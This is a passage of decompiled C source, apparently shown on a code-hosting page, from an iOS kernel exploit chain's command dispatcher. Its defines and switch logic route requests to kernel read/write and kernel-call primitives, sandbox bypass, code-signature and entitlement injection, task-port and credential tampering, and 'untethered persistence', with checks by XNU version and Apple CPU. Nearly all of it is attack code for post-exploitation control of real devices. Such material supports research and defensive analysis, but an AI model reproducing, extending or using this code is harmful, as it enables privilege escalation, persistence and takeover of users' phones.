static uint64_t driver_dispatch_finish(uint64_t status, bool commandSucceeded)
|
||||
{
|
||||
if ( (uint32_t)status || commandSucceeded )
|
||||
return (uint32_t)status;
|
||||
return 163843;
|
||||
}
|
||||
|
||||
char *_CFProcessPath(void);
|
||||
|
||||
#define DRIVER_CMD_PATCH_PARENT_CSFLAGS 1
|
||||
#define DRIVER_CMD_GET_SELF_TASK_PORT_OFFSET 2
|
||||
#define DRIVER_CMD_INJECT_TFP_ENTITLEMENT 3
|
||||
#define DRIVER_CMD_PATCH_CSBLOB 6
|
||||
#define DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH 7
|
||||
#define DRIVER_CMD_GET_OR_SET_SELF_UID_CRED 8
|
||||
#define DRIVER_CMD_SET_SELF_SPECIAL_PORT 9
|
||||
#define DRIVER_CMD_SETUP_SANDBOX_BYPASS 10
|
||||
#define DRIVER_CMD_CHECK_SELF_DYLD_INFO 11
|
||||
#define DRIVER_CMD_KREAD_SET_VM_ATTR 12
|
||||
#define DRIVER_CMD_NECP_SEND_SELF 13
|
||||
#define DRIVER_CMD_PGTABLE_KREAD_VM_ATTR 15
|
||||
#define DRIVER_CMD_PGTABLE_KREAD_VM_ATTR_NO_PATCH 19
|
||||
#define DRIVER_CMD_INJECT_CSBLOB_ENTITLEMENT 20
|
||||
#define DRIVER_CMD_GET_TASK_PORT_PID_OFFSET 21
|
||||
#define DRIVER_CMD_NECP_SEND_TASK 22
|
||||
#define DRIVER_CMD_VALIDATE_IPC_KOBJECT_READ 23
|
||||
#define DRIVER_CMD_SET_TASK_SPECIAL_PORT 26
|
||||
#define DRIVER_CMD_PHYSMAP_KREAD_AND_REFRESH 31
|
||||
#define DRIVER_CMD_INSERT_TASK_SEND_RIGHT 34
|
||||
#define DRIVER_CMD_KREAD_PROC_ENTITLEMENT_DATA 38
|
||||
#define DRIVER_CMD_GET_PROC_EXEC_FLAGS ((int)0xC000001Bu)
|
||||
#define DRIVER_CMD_UNSUPPORTED_1C ((int)0xC000001Cu)
|
||||
#define DRIVER_CMD_TASK_FOR_PID_OR_NAME_RET_PTR ((int)0xC000001Du)
|
||||
#define DRIVER_CMD_UNSUPPORTED_1E ((int)0xC000001Eu)
|
||||
#define DRIVER_CMD_UNSUPPORTED_1F ((int)0xC000001Fu)
|
||||
#define DRIVER_CMD_UPDATE_PHYSMAP_TABLE_SELF ((int)0x8000001Cu)
|
||||
#define DRIVER_CMD_UPDATE_PHYSMAP_TABLE_TASK ((int)0xC0000020u)
|
||||
#define DRIVER_CMD_UNSUPPORTED_21 ((int)0xC0000021u)
|
||||
#define DRIVER_CMD_UNSUPPORTED_22 ((int)0xC0000022u)
|
||||
#define DRIVER_CMD_KREAD_VERSION_CHECK ((int)0xC0000023u)
|
||||
#define DRIVER_CMD_CHECK_TASK_DYLD_INFO_8 ((int)0x40000018u)
|
||||
#define DRIVER_CMD_CHECK_TASK_DYLD_INFO_32 ((int)0x40000019u)
|
||||
#define DRIVER_CMD_KREAD_PROC_ENTITLEMENT_FULL ((int)0x4000001Bu)
|
||||
#define DRIVER_CMD_SET_THREAD_STATE_VERSIONED ((int)0x4000001Eu)
|
||||
#define DRIVER_CMD_MACH_VM_WIRE ((int)0x40000021u)
|
||||
#define DRIVER_CMD_KWRITE_VERSION_CHECK ((int)0x40000023u)
|
||||
#define DRIVER_CMD_STAGE3_GET_MOUNT_POINT 0x302
|
||||
#define DRIVER_CMD_STAGE3_SETUP_UNTETHERED ((int)0x40000301u)
|
||||
#define DRIVER_CMD_STAGE3_KCALL_3ARGS ((int)0xC0000303u)
|
||||
#define DRIVER_CMD_STAGE3_KCALL_1ARG ((int)0x40000304u)
|
||||
#define DRIVER_CMD_STAGE3_KCALL_6ARGS ((int)0x40000305u)
|
||||
#define DRIVER_CMD_STAGE3_GET_ROOT_MOUNT_INFO ((int)0x80000306u)
|
||||
#define DRIVER_CMD_STAGE3_PHYSMAP_CHECK_RANGE ((int)0x40000306u)
|
||||
#define DRIVER_CMD_STAGE1_GET_ROOT_PREFIX ((int)0x80000108u)
|
||||
#define DRIVER_CMD_STAGE1_GET_ROOT_STATFS ((int)0x80000109u)
|
||||
#define DRIVER_CMD_STAGE1_CHECK_KRW_NECP_STATE ((int)0x8000010Du)
|
||||
#define DRIVER_CMD_STAGE1_CHECK_MOUNT_THREAD 265
|
||||
#define DRIVER_CMD_STAGE1_WALK_CSBLOB_FOR_PATH 268
|
||||
#define DRIVER_CMD_STAGE1_CHECK_DISPATCH_KRW 269
|
||||
#define DRIVER_CMD_STAGE1_PHYSMAP_SINGLE_CHECK ((int)0x40000105u)
|
||||
#define DRIVER_CMD_STAGE1_NECP_CAPABILITIES ((int)0xC000010Bu)
|
||||
#define DRIVER_CMD_STAGE1_PHYSMAP_ENTRY_CHECK ((int)0x4000010Au)
|
||||
|
||||
static uint64_t driver_dispatch_stage3_command(struct_krwCtx *krwCtx, int cmd, uint64_t inoutValue)
|
||||
{
|
||||
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || krwCtx->xnuMajorVersion > 8791 )
|
||||
return 708616;
|
||||
|
||||
if ( cmd > 0x40000300 )
|
||||
{
|
||||
switch ( cmd )
|
||||
{
|
||||
case DRIVER_CMD_STAGE3_SETUP_UNTETHERED:
|
||||
return driver_cmd_setup_untethered_persistence_maybe(krwCtx, *(uint32_t *)inoutValue);
|
||||
case DRIVER_CMD_STAGE3_KCALL_1ARG:
|
||||
return krw_dispatch_call_1arg(krwCtx, *(uint32_t *)(inoutValue + 12));
|
||||
case DRIVER_CMD_STAGE3_KCALL_6ARGS:
|
||||
return krw_dispatch_call_6args(
|
||||
krwCtx,
|
||||
*(uint32_t *)inoutValue,
|
||||
*(uint64_t *)(inoutValue + 8),
|
||||
*(uint64_t *)(inoutValue + 16),
|
||||
*(uint32_t *)(inoutValue + 24),
|
||||
*(uint64_t *)(inoutValue + 32));
|
||||
case DRIVER_CMD_STAGE3_PHYSMAP_CHECK_RANGE:
|
||||
return physmap_check_range_wrapper(krwCtx, inoutValue, 20);
|
||||
default:
|
||||
return 708616;
|
||||
}
|
||||
}
|
||||
|
||||
switch ( cmd )
|
||||
{
|
||||
case DRIVER_CMD_STAGE3_GET_ROOT_MOUNT_INFO:
|
||||
return get_root_mount_info(krwCtx, (uint32_t *)inoutValue, (char *)(inoutValue + 16));
|
||||
case DRIVER_CMD_STAGE3_KCALL_3ARGS:
|
||||
return krw_dispatch_call_3args(
|
||||
krwCtx,
|
||||
*(uint64_t *)inoutValue,
|
||||
*(uint32_t *)(inoutValue + 8),
|
||||
inoutValue + 12);
|
||||
case DRIVER_CMD_STAGE3_GET_MOUNT_POINT:
|
||||
return get_mount_point_via_dispatch(krwCtx);
|
||||
default:
|
||||
return 708616;
|
||||
}
|
||||
}
|
||||
|
||||
static uint64_t driver_dispatch_stage1_command(struct_krwCtx *krwCtx, int cmd, uint64_t inoutValue)
|
||||
{
|
||||
uint64_t v3; // x20
|
||||
uint64_t v6; // x21
|
||||
int v14; // w23
|
||||
int v15; // w0
|
||||
int v16; // w0
|
||||
int v21; // w0
|
||||
int v22; // w22
|
||||
int v23; // w21
|
||||
int v24; // w22
|
||||
unsigned int v25; // w1
|
||||
bool v26; // w8
|
||||
int v27; // w20
|
||||
int v28; // w8
|
||||
__int64 v50; // [xsp+0h] [xbp-40h] BYREF
|
||||
int v51; // [xsp+8h] [xbp-38h] BYREF
|
||||
int v52; // [xsp+Ch] [xbp-34h] BYREF
|
||||
|
||||
v3 = inoutValue;
|
||||
v6 = 708616;
|
||||
v14 = 0;
|
||||
v50 = 0;
|
||||
LODWORD(v50) = v3;
|
||||
v52 = 0;
|
||||
if ( cmd > 264 )
|
||||
{
|
||||
if ( cmd > 268 )
|
||||
{
|
||||
if ( cmd != DRIVER_CMD_STAGE1_CHECK_DISPATCH_KRW )
|
||||
{
|
||||
if ( cmd == DRIVER_CMD_STAGE1_PHYSMAP_ENTRY_CHECK )
|
||||
{
|
||||
v15 = physmap_entry_check(krwCtx, *(uint32_t *)v3, *(uint32_t *)(v3 + 4), *(uint64_t *)(v3 + 16));
|
||||
goto LABEL_79;
|
||||
}
|
||||
if ( cmd == DRIVER_CMD_STAGE1_PHYSMAP_SINGLE_CHECK )
|
||||
{
|
||||
v15 = physmap_single_check(krwCtx, v3, 20);
|
||||
LABEL_79:
|
||||
v14 = v15;
|
||||
LODWORD(v6) = 0;
|
||||
}
|
||||
LABEL_179:
|
||||
v26 = v14 == 0;
|
||||
LABEL_180:
|
||||
return driver_dispatch_finish(v6, !v26);
|
||||
}
|
||||
if ( krwCtx->xnuVersionPacked >> 43 >= 0x44B )
|
||||
{
|
||||
v15 = check_dispatch_krw_state(krwCtx, v3 != 0);
|
||||
goto LABEL_79;
|
||||
}
|
||||
LABEL_84:
|
||||
v14 = 0;
|
||||
goto LABEL_179;
|
||||
}
|
||||
if ( cmd != DRIVER_CMD_STAGE1_CHECK_MOUNT_THREAD )
|
||||
{
|
||||
if ( cmd == DRIVER_CMD_STAGE1_WALK_CSBLOB_FOR_PATH )
|
||||
{
|
||||
if ( !v3 )
|
||||
v3 = _CFProcessPath();
|
||||
v21 = open((const char *)v3, 0, v50);
|
||||
if ( v21 == -1 )
|
||||
{
|
||||
v27 = errno;
|
||||
v14 = 0;
|
||||
v28 = errno;
|
||||
if ( v27 < 0 )
|
||||
v28 = -v28;
|
||||
LODWORD(v6) = v28 | 0x40000000;
|
||||
}
|
||||
else
|
||||
{
|
||||
v22 = v21;
|
||||
if ( v3 )
|
||||
LODWORD(v6) = 0;
|
||||
else
|
||||
LODWORD(v6) = 708609;
|
||||
v14 = walk_csblob_chain_for_offset(krwCtx, v21);
|
||||
close(v22);
|
||||
}
|
||||
}
|
||||
goto LABEL_179;
|
||||
}
|
||||
v25 = v3 & 0xF;
|
||||
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
|
||||
{
|
||||
if ( v25 > 2 )
|
||||
{
|
||||
v14 = 0;
|
||||
LODWORD(v6) = 708609;
|
||||
goto LABEL_179;
|
||||
}
|
||||
v15 = check_mount_thread_info(krwCtx, v25);
|
||||
goto LABEL_79;
|
||||
}
|
||||
if ( v25 == 1 )
|
||||
LODWORD(v6) = 708616;
|
||||
else
|
||||
LODWORD(v6) = 0;
|
||||
goto LABEL_178;
|
||||
}
|
||||
if ( cmd > -2147483380 )
|
||||
{
|
||||
if ( cmd != DRIVER_CMD_STAGE1_CHECK_KRW_NECP_STATE )
|
||||
{
|
||||
if ( cmd != DRIVER_CMD_STAGE1_NECP_CAPABILITIES )
|
||||
goto LABEL_179;
|
||||
v23 = *(uint32_t *)v3;
|
||||
v24 = (*(uint32_t *)v3 & 1) != 0 && krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) && krwCtx->xnuMajorVersion < 8792;
|
||||
if ( (v23 & 4) != 0 )
|
||||
{
|
||||
if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
|
||||
{
|
||||
if ( check_necp_flag(krwCtx) )
|
||||
v24 |= 4u;
|
||||
}
|
||||
else if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A11) && krwCtx->xnuMajorVersion > 6152 )
|
||||
{
|
||||
v24 |= 4u;
|
||||
}
|
||||
}
|
||||
if ( (v23 & 2) != 0 )
|
||||
{
|
||||
if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
|
||||
{
|
||||
if ( check_necp_flag(krwCtx) )
|
||||
v24 |= 2u;
|
||||
}
|
||||
else
|
||||
{
|
||||
v24 |= 2u;
|
||||
}
|
||||
}
|
||||
if ( (v23 & 8) != 0 && krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
|
||||
v24 |= 8u;
|
||||
LODWORD(v6) = 0;
|
||||
*(uint32_t *)v3 = v24;
|
||||
goto LABEL_178;
|
||||
}
|
||||
v16 = 0;
|
||||
LOBYTE(v51) = 0;
|
||||
if ( krwCtx->xnuVersionPacked >> 43 >= 0x44B )
|
||||
{
|
||||
v16 = check_krw_necp_state(krwCtx, (bool *)&v51);
|
||||
LODWORD(v6) = 0;
|
||||
if ( v16 )
|
||||
LODWORD(v50) = (unsigned __int8)v51;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ( cmd == DRIVER_CMD_STAGE1_GET_ROOT_PREFIX )
|
||||
{
|
||||
v51 = 1024;
|
||||
if ( !(unsigned int)get_root_prefix_path(krwCtx, (void *)(v3 + 16), (uint32_t *)&v51, (int *)&v52) )
|
||||
{
|
||||
LODWORD(v6) = 0;
|
||||
goto LABEL_84;
|
||||
}
|
||||
if ( v52 )
|
||||
*(uint32_t *)v3 = 1;
|
||||
LODWORD(v6) = 0;
|
||||
if ( v51 )
|
||||
*(uint32_t *)v3 |= 2u;
|
||||
LABEL_178:
|
||||
v14 = 1;
|
||||
goto LABEL_179;
|
||||
}
|
||||
if ( cmd != DRIVER_CMD_STAGE1_GET_ROOT_STATFS )
|
||||
goto LABEL_179;
|
||||
v16 = get_root_statfs(krwCtx, (int *)&v50);
|
||||
LODWORD(v6) = 0;
|
||||
}
|
||||
if ( v16 )
|
||||
{
|
||||
v26 = 0;
|
||||
*(uint32_t *)v3 = v50;
|
||||
}
|
||||
else
|
||||
{
|
||||
v26 = 1;
|
||||
}
|
||||
goto LABEL_180;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user